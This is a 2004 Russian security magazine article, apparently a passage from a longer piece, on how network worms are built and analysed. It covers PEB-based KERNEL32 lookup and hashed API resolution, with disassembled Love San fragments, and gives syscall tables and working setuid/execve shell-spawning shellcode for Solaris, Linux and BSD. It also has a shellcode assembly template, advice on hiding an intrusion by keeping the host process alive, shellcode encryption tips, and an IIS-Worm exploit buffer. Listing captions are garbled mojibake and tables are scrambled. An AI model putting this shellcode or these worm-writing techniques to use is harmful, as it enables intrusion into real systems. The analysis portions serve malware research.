По смещению 0Ch в нем содержится указатель на PEN_LDR_DATA, представляющий собой список загруженных динамических библиотек, перечисленный в порядке их инициализации (NTDLL.DLL инициализируется первой, следом за ней идет KERNEL32.DLL): Ëèñòèíã 13. Ðåàëèçàöèÿ ñòðóêòóðû PEB_LDR_DATA â W2K/XP PEB_LDR_DATA STRUC DD ? PEB_LDR_Flags DD ? PEB_LDR_Unknown8 DD ? ; +0Ch PEB_LDR_InLoadOrderModuleList ; +14h PEB_LDR_InMemoryOrderModuleList ; +1Ch PEB_LDR_InInitOrderModuleList PEB_LDR_DATA ENDS LIST_ENTRY STRUC LE_FORWARD LE_BACKWARD LE_IMAGE_BASE … LE_IMAGE_TIME LIST_ENTRY
; +00 ; +04 ; +08 LIST_ENTRY ? LIST_ENTRY ? LIST_ENTRY ?
dd dd dd
*forward_in_the_list ; + 00h *backward_in_the_list ; + 04h imagebase_of_ntdll.dll ; + 08h
dd
imagetimestamp
;
+ 44h
Собственно, вся идея заключается в том, чтобы, прочитав двойное слово по адресу FS:[00000030h], преобразовать его в указатель на PEB и перейти по адресу, на который ссылается указатель, лежащий по смещению 0Ch от его начала – InInitOrderModuleList. Отбросив первый элемент, принадлежащий NTDLL.DLL, мы получим указатель на LIST_ENTRY, содержащей характеристики KERNEL32.DLL (в частности, базовый адрес загрузки хранится в третьем двойном слове). Впрочем, это легче программировать, чем говорить, и все вышесказанное с легкостью умещается в пяти ассемблерных командах. Ниже приведен код, выдранный из червя Love San, до
40
сих пор терроризирующего Интернет. Данный фрагмент не имеет никакого отношения к автору вируса и был им «позаимствован» из сторонних источников. Об этом говорят «лишние» ассемблерные команды, предназначенные для совместимости с Windows 9x (в ней все не так, как в NT), но ведь ареал обитания Love San ограничен исключительно NT-подобными системами, и он в принципе не способен поражать Windows 9x! Ëèñòèíã 14. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðåäåëåíèå áàçîâîãî àäðåñà çàãðóçêè KERNEL32.DLL è îáåñïå÷èâàþùèé ÷åðâþ çàâèäíóþ íåçàâèñèìîñòü îò âåðñèè àòàêóåìîé îïåðàöèîííîé ñèñòåìû ; PEB base data:004046FE 64 A1 30 00 00 mov eax, large fs:30h data:00404704 85 C0 test eax, eax ; ; -- ìû íà w9x --> data:00404706 78 0C js short loc_404714 ; PEB_LDR_DATA data:00404708 8B 40 0C mov eax, [eax+0Ch] ; 1 ýëåìåíò InInitOrderModuleList data:0040470B 8B 70 1C mov esi, [eax+1Ch] ; ñëåäóþùèé ýëåìåíò data:0040470E AD lodsd ; áàçîâûé àäðåñ KERNEL32.DLL data:0040470F 8B 68 08 mov ebp, [eax+8] data:00404712 EB 09 jmp short loc_40471D data:00404714; ------------------------------------------; CODE XREF: kk_get_kernel32+A↑j data:00404714 loc_404714: data:00404714 8B 40 34 mov eax, [eax+34h] data:00404717 8B A8 B8 00 00+ mov ebp, [eax+0B8h] data:00404717 ; CODE XREF: kk_get_kernel32+16↑j data:0040471D loc_40471D:
Ручной разбор PE-формата несмотря на свое устрашающее название реализуется элементарно. Двойное слово, лежащее по смещению 3Ch от начала базового адреса загрузки, содержит смещение (не указатель!) PE-заголовка файла, который в свою очередь в 78h своем двойном слове содержит смещение таблицы экспорта, 18h – 1Bh и 20h – 23h байты которой хранят количество экспортируемых функций и смещение таблицы экспортируемых имен соответственно (хотя функции экспортируются также и по ординалам, смещение таблицы экспорта которых находится в 24h –27h байтах). Запомните эти значения – 3Ch, 78h, 20h/24h – они будут вам часто встречаться в коде червей и эксплоитов, значительно облегчая идентификацию алгоритма последних. Ëèñòèíã 15. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðåäåëåíèå àäðåñà òàáëèöû ýêñïîðòèðóåìûõ èìåí ; áàçîâûé àäðåñ çàãðóçêè KERNEL32 .data:00404728 mov ebp, ; íà PE-çàãîëîâîê .data:0040472C mov eax, ; íà òàáëèöó ýêñïîðòà .data:0040472F mov edx, .data:00404733 add edx, ; êîë-âî ýêñïîðòèðóåìûõ ôóíêöèé .data:00404735 mov ecx, ; íà òàáëèöó ýêñïîðòèðóåìûõ èìåí .data:00404738 mov ebx, ; àäðåñ òàáëèöû ýêñïîðòèðóåìûõ èìåí .data:0040473B add ebx,
[esp+arg_4] [ebp+3Ch] [ebp+eax+78h] ebp [edx+18h] [edx+20h] ebp
Теперь, отталкиваясь от адреса таблицы экспортируемых имен (в грубом приближении представляющую собой массив текстовых ASCIIZ-строк, каждая из которых соответствует «своей» API-функции), мы сможем найти все необходимое. Однако от посимвольного сравнения
безопасность лучше сразу отказаться и вот почему: во-первых, имена большинства API-функций чрезвычайно тяжеловесны, а размер shell-кода жестко ограничен, во-вторых, явная загрузка API-функций чрезвычайно упрощает анализ алгоритма shell-кода, что не есть хорошо. Всех этих недостатков лишен алгоритм хеш-сравнения, в общем случае сводящийся к «свертке» сравниваемых строк по некоторой функции f. Подробнее об этом можно прочитать в соответствующей литературе (например, «Искусство программирования» Кнута), здесь же мы просто приведем программный код, снабженный подробными комментариями. Ëèñòèíã 16. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðåäåëåíèÿ èíäåêñà ôóíêöèè â òàáëèöå ; CODE XREF: kk_get_proc_adr+36↓j .data:0040473D loc_40473D: ; --> îøèáêà .data:0040473D jecxz short loc_404771 ; â ecx êîëè÷åñòâî ýêñïîðòèðóåìûõ ôóíêöèé .data:0040473F dec ecx ; ñìåùåíèå êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé .data:00404740 mov esi, [ebx+ecx*4] ; àäðåñ êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé .data:00404743 add esi, ebp .data:00404745 xor edi, edi ; EDI := 0 ; ñáðàñûâàåì ôëàã íàïðàâëåíèÿ .data:00404747 cld .data:00404748 ; CODE XREF: kk_get_proc_adr+30↓j .data:00404748 loc_404748: .data:00404748 xor eax, eax ; EAX := 0 ; ÷èòàåì î÷åðåäíîé ñèìâîë èìåíè ôóíêöèè .data:0040474A lodsb ; ýòî êîíåö ñòðîêè? .data:0040474B cmp al, ah ; åñëè êîíåö, òî ïðûãàåì íà êîíåö .data:0040474D jz short loc_404756 ; õåøèðóåì èìÿ ôóíêöèè íàëåòó.. .data:0040474F ror edi, 0Dh ; …íàêàïëèâàÿ õåø-ñóììó â ðåãèñòðå EDI .data:00404752 add edi, eax .data:00404754 jmp short loc_404748 ; ; CODE XREF: kk_get_proc_adr+29↑j .data:00404756 loc_404756: ; ýòî õåø «íàøåé» ôóíêöèè? .data:00404756 cmp edi, [esp+arg_0] ; åñëè íåò, ïðîäîëæèòü ïåðåáîð .data:0040475A jnz short loc_40473D
Зная индекс целевой функции в таблице экспорта, легко определить ее адрес. Это можно сделать, например, таким образом: Ëèñòèíã 17. Ôðàãìåíò ÷åðâÿ Love San, îñóùåñòâëÿþùèé îêîí÷àòåëüíîå îïðåäåëåíèå àäðåñà API-ôóíêöèè â ïàìÿòè ; ñìåùåíèå òàáëèöû ýêñïîðòà îðäèíàëîâ .data:0040475C mov ebx, [edx+24h] ; àäðåñ òàáëèöû îðäèíàëîâ .data:0040475F add ebx, ebp ; ïîëó÷àåì èíäåêñ â òàáëèöå àäðåñîâ .data:00404761 mov cx, [ebx+ecx*2] ; ñìåùåíèå ýêñïîðòíîé òàáëèöû àäðåñîâ .data:00404765 mov ebx, [edx+1Ch] ; àäðåñ ýêñïîðòíîé òàáëèöû àäðåñîâ .data:00404768 add ebx, ebp ; ïîëó÷àåì ñìåùåíèå ôóíêöèè ïî èíäåêñó .data:0040476A mov eax, [ebx+ecx*4] ; ïîëó÷àåì àäðåñ ôóíêöèè .data:0040476D add eax, ebp
Упасть, чтобы отжаться Восстановление работоспособности уязвимой программы после переполнения – это не только залог скрытности проникновения, но и определенный культурный элемент. Вы-
№4(17), апрель 2004
полнив свою миссию, червь не должен возвращать управление программе-носителю, поскольку с вероятностью, близкой к единице, она немедленно рухнет, что вызовет серьезные подозрения у администратора. Если каждое новое TCP/IP-подключение обрабатывается уязвимой программой в отдельном потоке, то вирусу будет достаточно просто «прибить» свой поток, вызвав API функцию TerminateThread, или войти в бесконечный цикл (правда, при этом на однопроцессорных машинах загрузка ЦП может возрасти до 100%, что тоже очень нехорошо). С однопоточными приложениями все намного сложнее, и червю приходится «вручную» приводить искаженные данные в минимально работоспособный вид, либо раскручивать стек, «выныривая» в материнской функции, еще не затронутой искажениями, либо же передавать управление на какую-нибудь диспетчерскую функцию, занимающуюся рассылкой сообщений. Более универсальных способов до сих пор не придумано, несмотря на то, что несколько последних лет эта тема находится в интенсивной разработке.
Компиляция червя Согласно правилам этикета компьютерного андеграунда, разработка вирусов должна происходить на языке ассемблера и/или машинного кода. Если вы попытаетесь использовать Си или – страшно сказать DELPHI – вас попросту не будут уважать. Лучше вообще не писать вирусов, а если и писать, то по крайней мере делать это профессионально. Тем не менее, эффективность современных компиляторов такова, что по качеству своей кодогенерации они вплотную приближаются к ассемблеру, и если убить startup, то мы получим компактный, эффективный, наглядный и легко отлаживаемый код. Прогрессивно настроенные хакеры стремятся использовать языки высокого уровня везде, где только это возможно, а к ассемблеру обращаются только по необходимости. Из всех компонентов червя только голова требует непосредственного ассемблерного вмешательства, а тело и начинка червя замечательно реализуются и на старом – добром Си. Да, такой подход нарушает полувековые традиции вирусописательства, но давайте не будем цепляться за традиции! Мир непрерывно меняется, и мы меняемся вместе с ним. Когда-то ассемблер (а еще раньше – машинные коды) были неизбежной необходимостью, сейчас же они становятся своеобразным магическим ритуалом, отсекающим от создания «правильных» вирусов всех непосвященных. Кстати говоря, обычные трансляторы ассемблера (такие, например, как TASM или MASM) для компиляции головы червя не пригодны. Они намного ближе стоят к языкам высокого уровня, чем, собственно, к самому ассемблеру. Излишняя самодеятельность и интеллектуальность транслятора при разработке shell-кода только вредит. Во-первых, мы не видим, во что транслируется та или иная ассемблерная мнемоника, и чтобы узнать, присутствуют ли в ней нули, приходится обращаться к справочнику по командам от Intel/AMD или каждый раз выполнять полный цикл трансляции. Во-вторых, легальными
41
безопасность Реализация системных вызовов в различных ОС
Механизм системных вызовов – это задний двор операционной системы или, если угодно, – ее внутренняя и не всегда хорошо документированная кухня. Внутри червя плавают какие-то константы, команды, сложным образом манипулирующие с регистрами, но физический смысл происходящего в целом остается неясным. Ниже приводится краткая справочная информация о способах реализации системных вызовов в различных ОС с указанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал позаимствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes» от LSD Research Group, которую я всячески рекомендую всем кодокопателям и исследователям компьютерных вирусов и червей в частности).
Solaris/SPARC Системный вызов осуществляется через ловушку (trap), возбуждаемую специальной машинной командой ta 8. Номер системного вызова передается через регистр g1, а аргументы – через регистры o0, o1, o2, o3 и o4. Перечень номеров наиболее употребляемых системных функций приведен ниже. Ëèñòèíã 18. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/SPARC syscall exec exec setuid mkdir chroot chdir ioctl so_socket 0E6h bind listen accept fcntl
%g1 %o0, %o1, %o2, %o3, %o4 00Bh --> path = "/bin/ksh", --> [-->a0 = path,0] 00Bh --> path = "/bin/ksh", --> [-->a0 = path, -->a1= "-c" -->a2 = cmd, 0] 017h uid = 0 050h --> path = "b..", mode = (each value is valid) 03Dh --> path = "b..", "." 00Ch --> path = ".." 036h sfd, TI_GETPEERNAME = 5491h, --> [mlen = 54h, len = 54h, -->sadr = []] AF_INET=2, SOCK_STREAM=2, prot=0, devpath=0, SOV_DEFAULT=1 0E8h sfd, --> sadr = [33h, 2, hi, lo, 0, 0, 0, 0], len=10h, SOV_SOCKSTREAM = 2 0E9h sfd, backlog = 5, vers = (not required in this syscall) 0EAh sfd, 0, 0, vers = (not required in this syscall) 03Eh sfd, F_DUP2FD = 09h, fd = 0, 1, 2
Ëèñòèíã 19. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/SPARC char shellcode[]= "\x20\xbf\xff\xff" "\x20\xbf\xff\xff" "\x7f\xff\xff\xff" "\x90\x03\xe0\x20" "\x92\x02\x20\x10" "\xc0\x22\x20\x08" "\xd0\x22\x20\x10" "\xc0\x22\x20\x14" "\x82\x10\x20\x0b" "\x91\xd0\x20\x08" "/bin/ksh";
/* /* /* /* /* /* /* /* /* /* /*
10*4+8 bytes */ bn,a <shellcode-4> bn,a <shellcode> ; call <shellcode+4> add %o7,32,%o0 add %o0,16,%o1 st %g0,[%o0+8] st %o0,[%o0+16] st %g0,[%o0+20] mov 0x0b,%g1 ta 8
; \ +- òåêóùèé óêàçàòåëü êîìàíä â %o7 ; / ; â %o0 óêàçàòåëü íà /bin/ksh ; â %o1 óêàçàòåëü íà ñâîáîäíóþ ïàìÿòü ; ñòàâèì çàâåðøàþùèé íîëü â /bin/ksh ; çàíóëÿåì ïàìÿòü ïî óêàçàòåëþ %o1 ; the same ; íîìåð ñèñòåìíîé ôóíêöèè exec ; âûçûâàåì ôóíêöèþ exec
*/ */ */ */ */ */ */ */ */ */
Solaris/x86 Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещение ноль). Номер системного вызова передается через регистр eax, а аргументы – через стек, причем самый левый аргумент заталкивается в стек последним. Стек очищает сама вызываемая функция. Ëèñòèíã 20. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/x86 syscall exec exec setuid mkdir chroot chdir ioctl so socket E6h bind listen accept fcntl
%eax stack 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, 0] 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0] 17h ret, uid = 0 50h ret, --> path = "b..", mode = (each value is valid) 3Dh ret, --> path = "b..","." 0Ch ret, --> path = ".." 36h ret, sfd, TI_GETPEERNAME = 5491h, --> [mlen = 91h, len=91h, --> adr=[]] ret, AF_INET=2,SOCK STREAM=2,prot=0,devpath=0,SOV DEFAULT=1 E8h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0,0,0,0],len=10h,SOV_SOCKSTREAM=2 E9h ret, sfd, backlog = 5, vers = (not required in this syscall) Eah ret, sfd, 0, 0, vers = (not required in this syscall) 3Eh ret, sfd, F_DUP2FD = 09h, fd = 0, 1, 2
Ëèñòèíã 21. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/x86 char setuidcode[]= "\x33\xc0" "\x50" "\xb0\x17" "\xff\xd6"
/* /* /* /* /*
7 bytes */ xorl %eax,%eax pushl %eax movb $0x17,%al call *%esi
; ; ; ;
EAX := 0 çàòàëêèâàåì â ñòåê íóëü íîìåð ñèñòåìíîé ôóíêöèè setuid setuid(0)
*/ */ */ */
Linux/x86 Системный вызов осуществляется через программное прерывание по вектору 80h, возбуждаемое машинной инструкцией INT 80h. Номер системного вызова передается через регистр eax, а аргументы – через регистры ebx, ecx и edx.
42
безопасность Ëèñòèíã 22. Íîìåðà ñèñòåìíûõ âûçîâîâ â Linux/x86 syscall exec exec setuid mkdir chroot chdir socketcall socketcall socketcall socketcall socketcall dup2
66h 66h 66h 66h 66h
%eax %ebx, %ecx, %edx 0Bh --> path = "/bin//sh", --> [--> a0 = path, 0] 0Bh --> path = "/bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0] 17h uid = 0 27h --> path = "b..", mode = 0 (each value is valid) 3Dh --> path = "b..", "." 0Ch --> path = ".." getpeername = 7, --> [sfd, --> sadr = [],--> [len=10h]] socket = 1, --> [AF_INET = 2, SOCK STREAM = 2,prot = 0] bind = 2, --> [sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], len =10h] listen = 4, --> [sfd, backlog = 102] accept = 5, --> [sfd, 0, 0] 3Fh sfd, fd = 2, 1, 0
Ëèñòèíã 23. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Linux/x86 char setuidcode[]= /* 8 bytes */ "\x33\xc0" /* xorl %eax,%eax "\x31\xdb" /* xorl %ebx,%ebx "\xb0\x17" /* movb $0x17,%al "\xcd\x80" /* int $0x80
; ; ; ;
EAX := 0 EBX := 0 íîìåð ñèñòåìíîé ôóíêöèè stuid setuid(0)
*/ */ */ */
Free,Net,OpenBSD/x86 Операционные системы семейства BSD реализуют гибридный механизм вызова системных функций: поддерживая как far call на адрес 0007:00000000 (только номера системных функций другие), так и прерывание по вектору 80h. Аргументы в обоих случаях передаются через стек. Ëèñòèíã 24. Íîìåðà ñèñòåìíûõ âûçîâîâ â BSD/x86 syscall execve execve setuid mkdir chroot chdir getpeername socket bind listen accept dup2
%eax 3Bh 3Bh 17h 88h 3Dh 0Ch 1Fh 61h 68h 6Ah 1Eh 5Ah
stack ret, --> path = "//bin//sh", --> [--> a0 = 0], 0 ret, --> path = "//bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0], 0 ret, uid = 0 ret, --> path = "b..", mode = (each value is valid) ret, --> path = "b..", "." ret, --> path=".." ret, sfd, --> sadr = [],--> [len = 10h] ret, AF_INET = 2, SOCK_STREAM = 1, prot = 0 ret, sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], --> [10h] ret, sfd, backlog = 5 ret, sfd, 0, 0 ret, sfd, fd = 0, 1, 2
Ëèñòèíã 25. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä BSD/x86 char shellcode[]= "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x54" "\x53" "\x50" "\xb0\x3b" "\xcd\x80"
/* /* /* /* /* /* /* /* /* /* /* /*
23 bytes */ xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp,%ebx pushl %eax pushl %esp pushl %ebx pushl %eax movb $0x3b,%al int $0x80
; ; ; ; ; ; ; ; ; ; ;
EAX := 0 çàòàëêèâàåì çàâåðøàþùèé íîëü â ñòåê çàòàëêèâàåì õâîñò ñòðîêè â ñòåê çàòàëêèâàåì íà÷àëî ñòðîêè â ñòåê óñòàíàâëèâàåì EBX íà âåðøèíó ñòåêà çàòàëêèâàåì íîëü â ñòåê ïåðåäàåì ôóíêöèè óêàçàòåëü íà íîëü ïåðåäàåì ôóíêöèè óêàçàòåëü íà /bin/sh ïåðåäàåì ôóíêöèè íîëü íîìåð ñèñòåìíîé ôóíêöèè execve execve("//bin//sh", "",0);
средствами ассемблера мы не сможем выполнить непосредственный FAR CALL и будем вынуждены задавать его через директиву DB. В-третьих, управление дампом не поддерживается в принципе и процедуру шифровки shellкода приходится выполнять сторонними утилитами. Поэтому очень часто для разработки головы червя используют HEX-редактор со встроенным ассемблером и криптом, например, HIEW или QVIEW. Машинный код каждой введенной ассемблерной инструкции генерируется в этом случае сразу, что называется, «на лету», и если результат трансляции вас не устраивает, вы можете, не отходя от кассы, испробовать несколько других вариантов. С другой стороны, такому способу разработки присущ целый ряд серьезных недостатков. Начнем с того, что набитый в HEX-редакторе машинный код практически не поддается дальнейшему редакти-
№4(17), апрель 2004
*/ */ */ */ */ */ */ */ */ */ */;
рованию. Пропуск одной-единственной машинной команды может стоить вам ночи впустую потраченного труда, – ведь для ее вставки в середину shell-кода все последующие инструкции должны быть смещены вниз, а соответствующие им смещения заново пересчитаны. Правда, можно поступить и так: на место отсутствующей команды внедрить JMP на конец shell-кода, перенести туда затертое JMP содержимое, добавить требуемое количество машинных команд и еще одним JMP вернуть управление на прежнее место. Однако такой подход чреват ошибками и к тому же сфера его применения более чем ограничена (немногие процессорные архитектуры поддерживают JMP вперед, не содержащей в своем теле паразитных нулей). Кроме того, HIEW, как и подавляющее большинство других HEX-редакторов, не позволяет использовать комментарии, что затрудняет и замедляет процесс програм-
43
безопасность мирования. В отсутствие наглядных символических имен вы будете долго вспоминать, что намедни положили в ячейку [EBP-69] и не имелось ли в виду здесь [EBP-68]? Достаточно одного неверного нажатия на клавишу, чтобы на выяснение причин неработоспособности shell-кода ушел весь день. (QVIEW – один из немногих HEX-редакторов, позволяющих помечать ассемблерные инструкции комментариями, сохраняемыми в специальном файле). Поэтому предпочтительнее всего поступать так: набивать небольшие куски shell-кода в HIEW и тут же переносить их в TASM/MASM, при необходимости прибегая к директиве DB, а прибегать к ней придется достаточно часто, поскольку подавляющее большинство ассемблерных извращений только через нее родимую и могут быть введены. Типовой ассемблерный шаблон shell-кода приведен ниже: Ëèñòèíã 26. Òèïîâîé àññåìáëåðíûé øàáëîí äëÿ ñîçäàíèÿ shellêîäà, êîìïèëÿöèÿ: ml.exe /c "file name.asm", ëèíêîâêà: link.exe /VXD "file name.obj" .386 .model flat .code start: jmp short begin get_eip: pop esi ; ... ; shell-êîä ; ... begin: call get_eip end start
Трансляция shell-кода осуществляется стандартно и применительно к MASM командная строка может выглядеть, например, так: ml.exe /c «file name.asm». С линковкой все намного сложнее. Штатные компоновщики такие, например, как Microsoft Linker наотрез откажутся транслировать shell-код в двоичный файл и в лучшем случае сварганят из него стандартный PE, из который shell-код придется вырезать руками. Использование ключа /VXD существенно упрощает нашу задачу, т.к. во-первых, теперь линкер больше не матерится на отсутствующий стартовый код и не порывается внедрять его в целевой файл самостоятельно, а, во-вторых, вырезать shell-код из vxdфайла намного проще, чем из PE. По умолчанию в vxdфайле shell-код располагается начиная с адреса 1000h и продолжается до самого конца файла. Точнее, практически до самого конца – один или два хвостовых байта могут присутствовать по соображениям выравнивания, однако, нам они не мешают. Теперь полученный двоичный файл необходимо зашифровать (если, конечно, shell-код содержит в себе шифровщик). Чаще всего для этого используется уже упомянутый HIEW, реже – внешний шифровщик, на создание которого обычно уходит не больше чем десяток минут: fopen/fread/for(a = FROM_CRYPT; a < TO_CRYPT; ↵ a+=sizeof(key)) buf[a] ^= key;/fwrite
При всех достоинствах HIEW главный минус его шифровщика заключается в том, что полностью автоматизировать процесс трансляции shell-кода в этом случае ока-
44
зывается невозможно и при частых перекомпиляциях необходимость ручной работы дает о себе знать. Тем не менее… лучше за час долететь, чем за пять минут добежать – программировать внешний шифровщик поначалу лениво, вот все и предпочитают заниматься Камаcутрой с HIEW, чем автоматизировать серые будни унылых дождливых дней окружающей жизни. Затем готовый shell-код тем или иным способом имплантируется в основное тело червя, как правило, представляющее собой Си-программу. Самое простое (но не самое лучшее) – подключить shell-код как обыкновенный obj, однако этот путь не свободен от проблем. Чтобы определить длину shell-кода, потребуются две публичные метки – в его начале и конце. Разность их смещений и даст искомое значение. Но это еще что – попробуйте-ка с разбега зашифровать obj-файл. В отличие от «чистого» двоичного файла, привязываться к фиксированным смещениям здесь нельзя, и приходится прибегать к анализу служебных структур и заголовка, что также не добавляет энтузиазма. Наконец, нетекстовая природа obj-файлов существенно затрудняет публикацию и распространение исходных текстов червя. Поэтому (а может быть, просто в силу традиции) shell-код чаще всего внедряется в программу непосредственно через строковой массив, благо язык Си поддерживает возможность введения любых HEX-символов, естественно, за исключением нуля, т.к. последний служит символом окончания строки. Это может выглядеть, например, так (разумеется, набивать hex-коды вручную совершенно необязательно – быстрее написать несложный конвертер, который все сделает за вас): Ëèñòèíã 27. Ïðèìåð âêëþ÷åíèÿ shell-êîäà â Ñè-ïðîãðàììó unsigned char x86_fbsd_read[] = "\x31\xc0\x6a\x00\x54\x50\x50\xb0\x03\xcd\x80\x83\xc4" "\x0c\xff\xff\xe4";
Теперь поговорим об укрощении компилятора и оптимизации программ. Как запретить компилятору внедрять start-up и RTL-код? Да очень просто – достаточно не объявлять функцию main, принудительно навязав линкеру новую точку входа посредством ключа /ENTRY. Покажем это на примере следующей программы: Ëèñòèíã 28. Êëàññè÷åñêèé âàðèàíò, êîìïèëèðóåìûé îáû÷íûì ñïîñîáîì: cl.exe /Ox file.c #include <windows.h> main() { MessageBox(0, "Sailor", "Hello", 0); }
Будучи откомпилированной с настройками по умолчанию, т.е. cl.exe /Ox »file name.c» она образует исполняемый файл, занимающий 25 Кб. Не так уж и много, но не торопитесь c выводами. Сейчас вы увидите такое… Ëèñòèíã 29. Îïòèìèçèðîâàííûé âàðèàíò, êîìïèëèðóåìûé òàê: cl.exe /c /Ox file.c, à ëèíêóåìûé òàê: link.exe /ALIGN:32/ DRIVER/ENTRY:my_main /SUBSYSTEM:console file.obj USER32.lib #include <windows.h>
безопасность my_main() { MessageBox(0, "Sailor", "Hello", 0); }
Слегка изменив имя главной функции программы и подобрав более оптимальные ключи трансляции, мы сократим размер исполняемого файла до 864 байт, причем большую его часть будет занимать PE-заголовок, таблица импорта и пустоты, оставленные для выравнивания, т.е. на реальном полновесном приложении, состоящем из сотен, а то и тысяч строк, разрыв станет еще более заметным, но и без этого мы сжали исполняемый файл более, чем в тридцать раз (!), причем безо всяких ассемблерных извращений. Разумеется, вместе с RTL гибнет и подсистема вводавывода, а, значит, большинство функций из библиотеки stdio использовать не удастся и придется ограничиться преимущественно API-функциями.
Декомпиляция червя Обсуждая различные аспекты компиляции червя, мы решали задачу, двигаясь от прямого к обратному. Но стоит нам оглянуться назад, как позади не останется ничего. Приобретенные навыки трансляции червей окажутся практически или полностью бесполезными перед лицом их анализа. Ловкость дизассемблирования червей опирается на ряд неочевидных тонкостей, о некоторых из которых я и хочу рассказать. Первой и наиболее фундаментальной проблемой является поиск точки входа. Подавляющее большинство червей, выловленных в живой природе, доходят до исследователей либо в виде дампа памяти пораженной машины, либо в виде отрубленной головы, либо… в виде исходной кода, опубликованного в том или ином e-zin. Казалось бы, наличие исходного кода просто не оставляет места для вопросов. Ан нет! Вот перед нами лежит фрагмент исходного текста червя IIS-Worm с shell-кодом внутри. Ëèñòèíã 30. Ôðàãìåíò èñõîäíîãî êîäà ÷åðâÿ char sploit[] = { 0x47, 0x45, 0x54, 0x20, 0x41, 0x41, 0x41, 0x41, … 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2E, 0x68, 0x74, 0x72, 0x54, 0x50, 0x2F, 0x31, 0x0A, 0x0D,0x0A };
0x2F, 0x41, 0x41, 0x41, 0x41, 0x41, 0x21, 0x21, 0x20, 0x2E,
0x21, 0x21, 0x48, 0x30,
0x21, 0x21, 0x54, 0x0D,
Попытка непосредственного дизассемблирования shellкода ни к чему хорошему не приведет, поскольку голова червя начинается со строки «GET /AAAAAAAAAAAAAAAAAA…», ни в каком дизассемблировании вообще не нуждающейся. С какого байта начинается актуальный код – доподлинно неизвестно. Для определения действительного положения точки входа необходимо скормить голову червя уязвимому приложению и посмотреть: куда метнется регистр EIP. Это (теоретически!) и будет точкой входа. Практически же это отличный способ убить время, но не более того.
№4(17), апрель 2004
Начнем с того, что отладка – опасный и неоправданно агрессивный способ исследования. Экспериментировать с «живым» сервером вам никто не даст, и уязвимое программное обеспечение должно быть установлено на отдельный компьютер, на котором нет ничего такого, что было бы жалко потерять. Причем это должна быть именно та версия программного обеспечения, которую вирус в состоянии поразить, ничего ненароком не обрушив, в противном случае управление получит отнюдь не истинная точка входа, а неизвестно что. Но ведь далеко не каждый исследователь имеет в своем распоряжении «зоопарк» программного обеспечения различных версий и кучу операционных систем! К тому же далеко не факт, что нам удастся определить момент передачи управления shell-коду. Тупая трассировка здесь не поможет, – современное программное обеспечение слишком громоздко, а передача управления может осуществляться спустя тысячи, а то и сотни тысяч машинных инструкций, выполняемых в том и числе и в параллельных потоках. Отладчиков, способных отлаживать несколько потоков одновременно, насколько мне известно, не существует (во всяком случае, они не были представлены на рынке). Можно, конечно, установить «исполняемую» точку останова на регион памяти, содержащий в себе принимающий буфер, но это не поможет в тех случаях, когда shell-код передается по цепочке буферов, лишь один из которых подвержен переполнению, а остальные – вполне нормальны. С другой стороны, определить точку входа можно и визуально. Просто загрузите shell-код в дизассемблер и, перебирая различные стартовые адреса, выберите из них тот, что дает наиболее осмысленный код. Эту операцию удобнее всего осуществлять в HIEW или любом другом HEX-редакторе с аналогичными возможностями (IDA для этих целей все же недостаточно «подвижна»). Будьте готовы к тому, что основное тело shell-кода окажется зашифровано и осмысленным останется только расшифровщик, который к тому же может быть размазан по всей голове червя и умышленно «замусорен» ничего не значащими инструкциями. Если shell-код передает на себя управление посредством JMP ESP (как чаще всего и происходит), тогда точка входа переместится на самый первый байт головы червя, т.е. на строку «GET /AAAAAAAAAAAAAAAAAA…», а отнюдь не на первый байт, расположенный за ее концом, как это утверждают некоторые руководства. Именно так устроены черви CodeRed 1,2 и IIS_Worm. Значительно реже управление передается в середину shell-кода. В этом случае стоит поискать цепочку NOP, расположенную в окрестностях точки входа и используемую червем для обеспечения «совместимости» с различными версиями уязвимого ПО (при перекомпиляции местоположение переполняющегося буфера может меняться, но не сильно, вот NOP и выручают, играя ту же роль, что и воронка при вливании жидкости в бутылку). Другую зацепку дает опять-таки расшифровщик. Если вы найдете расшифровщик, то найдете и точку входа. Можно также воспользоваться визуализатором IDA типа «flow chart», отображающим потоки управления, чем-то напоминающие
45
безопасность добротную гроздь винограда с точкой входа в роли черенка (см. рис. 3). Рассмотрим достаточно сложный случай – самомодифицирующуюся голову червя Code Red, динамически изменяющую безусловный JMP для передачи управления на тот или иной участок кода. Очевидно, что IDA не сможет автоматически восстановить все перекрестные ссылки, и часть функций «зависнет», отпочковавшись от основной грозди. А мы в результате получим четыре претендента на роль точек входа. Трое из них отсеиваются сразу, т.к. содержат бессмысленный код, обращающийся к неинициализированным регистрам и переменным. Осмысленный код дает лишь истинная точка входа – на этой диаграмме она расположена четвертой слева.
